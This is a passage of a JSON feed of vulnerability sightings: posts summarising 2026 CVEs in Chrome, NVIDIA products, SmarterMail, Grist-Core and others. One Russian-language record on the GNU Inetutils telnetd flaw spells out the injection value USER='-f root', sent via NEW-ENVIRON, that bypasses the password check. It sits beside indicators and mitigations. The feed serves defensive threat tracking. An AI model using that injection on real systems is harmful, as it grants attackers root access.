CVE-2026-34483, CVE-2026-34487", "creation_timestamp": "2026-05-20T14:10:20.324253Z"}, {"uuid": "addf8e88-a647-447e-a821-f16f0a866183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24880", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmc3hklk2m2e", "content": "\ud83d\udd17 CVE : CVE-2026-22029, CVE-2026-22732, CVE-2026-24734, CVE-2026-24880, CVE-2026-25639, CVE-2026-26960, CVE-2026-29062, CVE-2026-29129, CVE-2026-29145, CVE-2026-29146, CVE-2026-29786, CVE-2026-31802, CVE-2026-33750, CVE-2026-34483, CVE-2026-34487", "creation_timestamp": "2026-05-20T14:10:20.471277Z"}, {"uuid": "592592c5-7aa0-4ac4-b80a-7f64a43a9ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/CyberDispatch/741", "content": "Google patched Chrome zero-day CVE-2026-2441, a CVSS 8.8 bug already exploited in attacks.\n\nThe CSS use-after-free flaw allows sandboxed remote code execution via malicious pages.", "creation_timestamp": "2026-08-29T20:00:21.627769Z"}, {"uuid": "a1b60a35-d601-40c9-9738-73639107d8f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24425", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmcawp4kev2t", "content": "CVE-2026-24425 - Twig 2.16.x & 3.9.0-3.25.x Sandbox Bypass via SourcePolicyInterface\nCVE ID : CVE-2026-24425\n \n Published : May 20, 2026, 1:45 p.m. | 30\u00a0minutes ago\n \n Description : Twig versions 2.16.x and 3.9.0 through 3.25.x contain a sandbox bypass vulnerability when using...", "creation_timestamp": "2026-05-20T15:48:16.818958Z"}, {"uuid": "0f4e5acf-fb28-4ffc-a2a2-478eaeb7fa1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24207", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmcioychid2u", "content": "\ud83d\udccc CVE-2026-24207 - NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause an authentication bypass. A successful exploit of this vulnerabi... https://www.cyberhub.blog/cves/CVE-2026-24207", "creation_timestamp": "2026-05-20T18:07:07.776564Z"}, {"uuid": "aa13ff8d-2372-493a-a116-e3de74501282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24213", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmcm2bqg2p2o", "content": "\ud83d\udccc CVE-2026-24213 - NVIDIA Triton Inference Server contains a vulnerability in the DALI backend where an attacker could cause an out-of-bounds read. A successful exploit ... https://www.cyberhub.blog/cves/CVE-2026-24213", "creation_timestamp": "2026-05-20T19:07:57.530536Z"}, {"uuid": "4b594ac7-2f9e-4fae-89c7-fc67552cae47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24214", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmcnputmzy2v", "content": "\ud83d\udccc CVE-2026-24214 - NVIDIA Triton Inference Server contains a vulnerability in the DALI backend where an attacker could cause an integer overflow. A successful exploit of... https://www.cyberhub.blog/cves/CVE-2026-24214", "creation_timestamp": "2026-05-20T19:37:20.642096Z"}, {"uuid": "924baa7d-ffc3-41ec-9fb7-b51352cf2f53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24217", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmcrn6mexd2i", "content": "CVE-2026-24217 - NVIDIA BioNeMo Core for Linux Path Traversal Vulnerability\nCVE ID : CVE-2026-24217\n \n Published : May 20, 2026, 5:47 p.m. | 2\u00a0hours, 25\u00a0minutes ago\n \n Description : NVIDIA BioNeMo Core for Linux contains a vulnerability where a user could cause a path traversa...", "creation_timestamp": "2026-05-20T20:47:10.781064Z"}, {"uuid": "ae8f47d3-996b-4e91-b7af-fcbbceaf0975", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24218", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmcrw542q32e", "content": "CVE-2026-24218 - NVIDIA DGX SSH Key Cloning Vulnerability\nCVE ID : CVE-2026-24218\n \n Published : May 20, 2026, 5:43 p.m. | 2\u00a0hours, 29\u00a0minutes ago\n \n Description : NVIDIA DGX OS contains a vulnerability in the factory provisioning process, where the cloning of a base image cau...", "creation_timestamp": "2026-05-20T20:52:11.359739Z"}, {"uuid": "ec425010-6303-4bf9-b772-20ff0e35bd7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24188", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmcsi2lzjh2e", "content": "CVE-2026-24188 - NVIDIA TensorRT Out-of-Bounds Write Vulnerability\nCVE ID : CVE-2026-24188\n \n Published : May 20, 2026, 5:41 p.m. | 2\u00a0hours, 31\u00a0minutes ago\n \n Description : NVIDIA TensorRT contains a vulnerability where an attacker could cause an out-of-bounds write. A success...", "creation_timestamp": "2026-05-20T21:02:12.909875Z"}, {"uuid": "7c717922-f3fd-45b3-aa6c-52d96c2fa919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24188", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mmcwzb5vl72w", "content": "NVIDIA TensorRT\u306b\u5883\u754c\u5916\u66f8\u304d\u8fbc\u307f\u306e\u8106\u5f31\u6027\u304c\u3042\u308a\u3001\u653b\u6483\u8005\u306f\u30c7\u30fc\u30bf\u306e\u6539\u3056\u3093\u304c\u53ef\u80fd\u306b\u306a\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-24188 CVSS 8.2 | HIGH", "creation_timestamp": "2026-05-20T22:23:25.025674Z"}, {"uuid": "91fec0f5-0dae-473d-afa6-31ef12cc9ff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24216", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mmcx5mke7m2v", "content": "NVIDIA BioNeMo for Linux\u306b\u4fe1\u983c\u3067\u304d\u306a\u3044\u30c7\u30fc\u30bf\u306e\u9006\u30b7\u30ea\u30a2\u30eb\u5316\u306e\u8106\u5f31\u6027\u304c\u3042\u308b\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u306f\u30b3\u30fc\u30c9\u5b9f\u884c\u3001\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u3001\u60c5\u5831\u6f0f\u3048\u3044\u3001\u30c7\u30fc\u30bf\u6539\u3056\u3093\u304c\u53ef\u80fd\u306b\u306a\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-24216 CVSS 7.8 | HIGH", "creation_timestamp": "2026-05-20T22:25:51.122936Z"}, {"uuid": "307faba5-b8ef-4121-a5ff-e6023172bc71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24304", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mme2ofpsjv2f", "content": "CVE-2026-24304 - Critical privilege escalation in Azure Resource Manager. Improper access control allows authorized users to elevate privileges over network. CVSS 9.9. No patch available yet. Monitor Microsoft advisories closely. #CVE #Azur...\n\nhttps://www.valtersit.com/cve/CVE-2026-24304/", "creation_timestamp": "2026-05-21T09:01:35.322077Z"}, {"uuid": "28cd8b02-e84e-4668-901b-3239f840b4d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/hn_best_comments/28775", "content": "Re: Zero-day CSS: CVE-2026-2441 exists in the wild\n\n\"Google Chromium CSS contains a use-after-free vulnerability that could allow a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\"\n\nThat's pretty bad! I wonder what kind of bounty went to the researcher.\n\nmpeg, 2 days ago", "creation_timestamp": "2026-08-01T08:00:04.883257Z"}, {"uuid": "8df48b1e-a35e-4229-898c-70461beee116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24665", "type": "seen", "source": "https://t.me/CyberDispatch/658", "content": "CVE-2026-24665 \n\nThe Open eClass platform (formerly known as GUnet eClass) is a complete course management system. Prior to version 4.2, a stored Cross-Site Scripting (XSS) vulnerability allows authenticated.", "creation_timestamp": "2026-08-29T20:00:22.453033Z"}, {"uuid": "b325992a-8073-4864-92f4-3aa70e82de52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24954", "type": "seen", "source": "https://t.me/CyberDispatch/655", "content": "CVE-2026-24954 \n\nDeserialization of Untrusted Data vulnerability in magepeopleteam WpEvently mage-eventpress allows Object Injection.", "creation_timestamp": "2026-08-29T20:00:22.594037Z"}, {"uuid": "ab25827b-1af7-45ea-ad6c-bb1e454cb15d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://t.me/CyberDispatch/625", "content": "SmarterMail fixed a critical unauthenticated RCE in its email server software.\n\nThe flaw, CVE-2026-24423 (CVSS 9.3), lets attackers execute OS commands via a crafted remote server. It affects builds before 9511.", "creation_timestamp": "2026-08-29T20:00:22.912390Z"}, {"uuid": "919f7a0a-7666-49cc-b842-c1a7b3581773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://t.me/CyberDispatch/597", "content": "A single spreadsheet formula can now lead to full server takeover in Grist-Core.\n\nThe flaw, CVE-2026-24002 (CVSS 9.1), breaks out of the Pyodide sandbox, letting attackers run OS commands and access files and secrets.", "creation_timestamp": "2026-08-29T20:00:23.052374Z"}, {"uuid": "43affd3c-c25b-4c32-9289-dab6e7f520c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3msb345bl4k2q", "content": "\ud83c\udf11 HADAL \u00b7 actively exploited critical\nCVE-2026-24423: SmarterTools SmarterMail versions prior to build 9511 contain an unauthenticated remote code execution vulnerability in the C\u2026\nCVSS 9.8 \u00b7 EPSS 87.7% \u00b7 CISA KEV\nhttps://beta.vulnsea.com/cve/CVE-2026-24423\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-08-04T13:02:26.621805Z"}, {"uuid": "eb3d2941-7ec7-4d3e-8055-b0649389f194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24217", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmfd7rb3va2q", "content": "\ud83d\udccc CVE-2026-24217 - NVIDIA BioNeMo Core for Linux contains a vulnerability where a user could cause a path traversal by loading a malicious file. A successful exploit of ... https://www.cyberhub.blog/cves/CVE-2026-24217", "creation_timestamp": "2026-05-21T21:07:07.647165Z"}, {"uuid": "8dc57e0b-d02d-406f-b2c7-69ecb26bd52d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24218", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmhwoqlnxh2l", "content": "\ud83d\udfe0 CVE-2026-24218 - High (8.1)\n\nNVIDIA DGX OS contains a vulnerability in the factory provisioning process, where  the cloning of...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24218/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-22T22:00:51.771930Z"}, {"uuid": "d6464e29-44a3-4dc8-a901-41ec86107cd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24186", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmpdfrag4i2p", "content": "\ud83d\udccc CVE-2026-24186 - NVIDIA FLARE SDK  contains a vulnerability in FOBS, where an attacker may cause deserialization of untrusted data by sending a malicious FOBS- encoded... https://www.cyberhub.blog/cves/CVE-2026-24186", "creation_timestamp": "2026-05-25T20:37:06.143646Z"}, {"uuid": "1c6b4838-280b-4214-b265-df96bee6c2fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24186", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mmpdfrssx32c", "content": "\ud83d\udccc CVE-2026-24186 - NVIDIA FLARE SDK  contains a vulnerability in FOBS, where an attacker may cause deserialization of untrusted data by sending a malicious FOBS- encoded... https://www.potatohub.blog/cves/CVE-2026-24186", "creation_timestamp": "2026-05-25T20:37:07.017391Z"}, {"uuid": "caf8d5f4-d3c1-4a92-bf99-848bb973db03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24222", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmpgr2mdgb2w", "content": "\ud83d\udccc CVE-2026-24222 - NVIDIA NeMoClaw contains a vulnerability in the sandbox environment initialization component, where a remote attacker could cause improper access cont... https://www.cyberhub.blog/cves/CVE-2026-24222", "creation_timestamp": "2026-05-25T21:37:13.083720Z"}, {"uuid": "ac574857-1263-4730-8946-7a6457c71983", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/cyberok_news/180", "content": "\u26a1\ufe0fGNU Inetutils \u2014 \u0432\u0435\u0447\u043d\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \n\n\u0412 \u044f\u043d\u0432\u0430\u0440\u0435 2026 \u0433\u043e\u0434\u0430 \u0431\u044b\u043b\u0430 \u0432\u0441\u043a\u0440\u044b\u0442\u0430 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u00ab\u043a\u0430\u043f\u0441\u0443\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438\u00bb: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 telnetd \u0438\u0437 \u043f\u0430\u043a\u0435\u0442\u0430 GNU Inetutils (CVE-2026-24061).\n\u0421\u041a\u0418\u041f\u0410 \u0432\u0438\u0434\u0438\u0442 \u0432 \u0420\u0443\u043d\u0435\u0442\u0435 \u043e\u043a\u043e\u043b\u043e 500 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437\u0432\u043d\u0435, \u0430 \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u2014 \u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c\u0441\u044f.\n\n\ud83e\udde9 \u0421\u0443\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0412 GNU Inetutils telnetd (\u0434\u043e 2.7) \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u0438\u043d\u0443\u044f \u0432\u0432\u043e\u0434 \u043f\u0430\u0440\u043e\u043b\u044f \u2014 \u0434\u043b\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0437\u043d\u0430\u0442\u044c \u0438\u043c\u044f \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, root). \n\n\u0427\u0435\u0440\u0435\u0437 Telnet NEW-ENVIRON \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c USER=\"-f root\", \u0438 telnetd \u043f\u0440\u043e\u0431\u0440\u043e\u0441\u0438\u0442 \u044d\u0442\u043e \u0432 /usr/bin/login, \u0433\u0434\u0435 \u0444\u043b\u0430\u0433 -f \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 autologin \u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\ud83c\udf81 \u0412 \u043c\u0430\u0435 2025 \u0433\u043e\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043b\u043e\u0441\u044c 10 \u043b\u0435\u0442! \n\n\ud83d\udc7b \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\n\u0412 \u0441\u0435\u0442\u0438 \u0443\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u0420\u0438\u0441\u043a \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a.\n\ud83d\udd17GNU InetUtils Security Advisory: remote authentication by-pass in telnetd\n\n\u23f1\ufe0f \u0422\u0430\u0439\u043c\u043b\u0430\u0439\u043d \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432\n\u2716\ufe0f 20 \u044f\u043d\u0432 2026 \u2014 Advisory + \u0444\u0438\u043a\u0441 \u043e\u0442 \u0430\u043f\u0441\u0442\u0440\u0438\u043c\u0430\n\u2716\ufe0f 21 \u044f\u043d\u0432 2026 \u2014 \u041f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u0432 NVD, CVSS 9.8 \n\u2716\ufe0f 21 \u044f\u043d\u0432 2026 \u2014 \u0412\u0442\u043e\u0440\u0438\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 GHSA\n\u2716\ufe0f 21 \u044f\u043d\u0432 2026 \u2014 ITW-\u0441\u0438\u0433\u043d\u0430\u043b (\u0435\u0441\u0442\u044c \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438)\n\u2716\ufe0f 22 \u044f\u043d\u0432 2026 \u2014 \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 + PoC\n\n\ud83e\uddfe \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438 (IoC)\n\u2022 \u0423\u0441\u043f\u0435\u0448\u043d\u044b\u0435 login-\u0441\u0435\u0441\u0441\u0438\u0438 \u0434\u043b\u044f root \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0430\u0440\u043e\u043b\u044f.\n\u2022 \u0412 \u0441\u0435\u0442\u0435\u0432\u043e\u043c \u0434\u0430\u043c\u043f\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0440\u0435\u0434\u044b \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, -f, --)\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e GNU Inetutils 2.8 \u0438\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432 PATH_LOGIN.\n2. \u041b\u0443\u0447\u0448\u0435 \u0432\u043e\u043e\u0431\u0449\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c telnetd (\u0432 2026 \u044d\u0442\u043e \u0443\u0436\u0435 \u0442\u043e\u043a\u0441\u0438\u0447\u043d\u043e\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435) \u0438 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 SSH.\n3. \u0417\u0430\u043a\u0440\u044b\u0442\u044c 23 \u043f\u043e\u0440\u0442 \u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u043e\u0432 (OOB/Management VLAN).\n4. \u041f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u044e telnet-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 login.\n\n\ud83e\udddf\u200d\u2642\ufe0f \u0414\u0435\u0436\u0430\u0432\u044e \u0438\u0437 \u044d\u043f\u043e\u0445\u0438 Solaris\n\u0415\u0441\u043b\u0438 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u043e \u0441\u044e\u0436\u0435\u0442 \u0438\u0437 90-\u0445 \u2014 \u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f. \u0412 \u0441\u0442\u0430\u0440\u044b\u0445 UNIX/Solaris \u0443\u0436\u0435 \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u043b\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 telnet/rlogin, \u0433\u0434\u0435 \u00ab\u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0435 \u0444\u043b\u0430\u0433\u0438\u00bb \u0434\u043b\u044f \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u043b\u0438\u0441\u044c \u0432 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041d\u0443 \u043a\u0442\u043e \u0438\u0437 \u00ab\u0441\u0442\u0430\u0440\u0438\u0447\u043a\u043e\u0432\u00bb \u043d\u0435 \u043f\u043e\u043c\u043d\u0438\u0442 CVE-2007-0882? \n\nCVE-2026-24061 \u2014 \u044d\u0442\u043e \u0442\u043e\u0442 \u0436\u0435 \u0430\u0440\u0445\u0435\u0442\u0438\u043f \u00ablegacy-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b + \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 autologin\u00bb, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 Telnet \u0432\u0441\u0451 \u0435\u0449\u0451 \u0436\u0438\u0432 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435.", "creation_timestamp": "2026-08-05T00:00:36.297129Z"}, {"uuid": "53491f01-047f-4e3c-9897-8df1e31514b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2441", "type": "seen", "source": "https://bsky.app/profile/steelwise.bsky.social/post/3mmqmwbr2sv2u", "content": "Chrome's first zero-day of 2026: update now, don't wait. CVE-2026-2441 is actively being exploited in the wild. A use-after-free bug in CSS handling means a crafted webpage is all it takes. Push the update now. https://steelwise.uk/filings/chrome-zero-day-cve-2026-2441-update-now/", "creation_timestamp": "2026-05-26T09:00:05.638267Z"}, {"uuid": "5805cdca-58dc-494b-a571-ca133ef7187c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/purpleshift/154", "content": 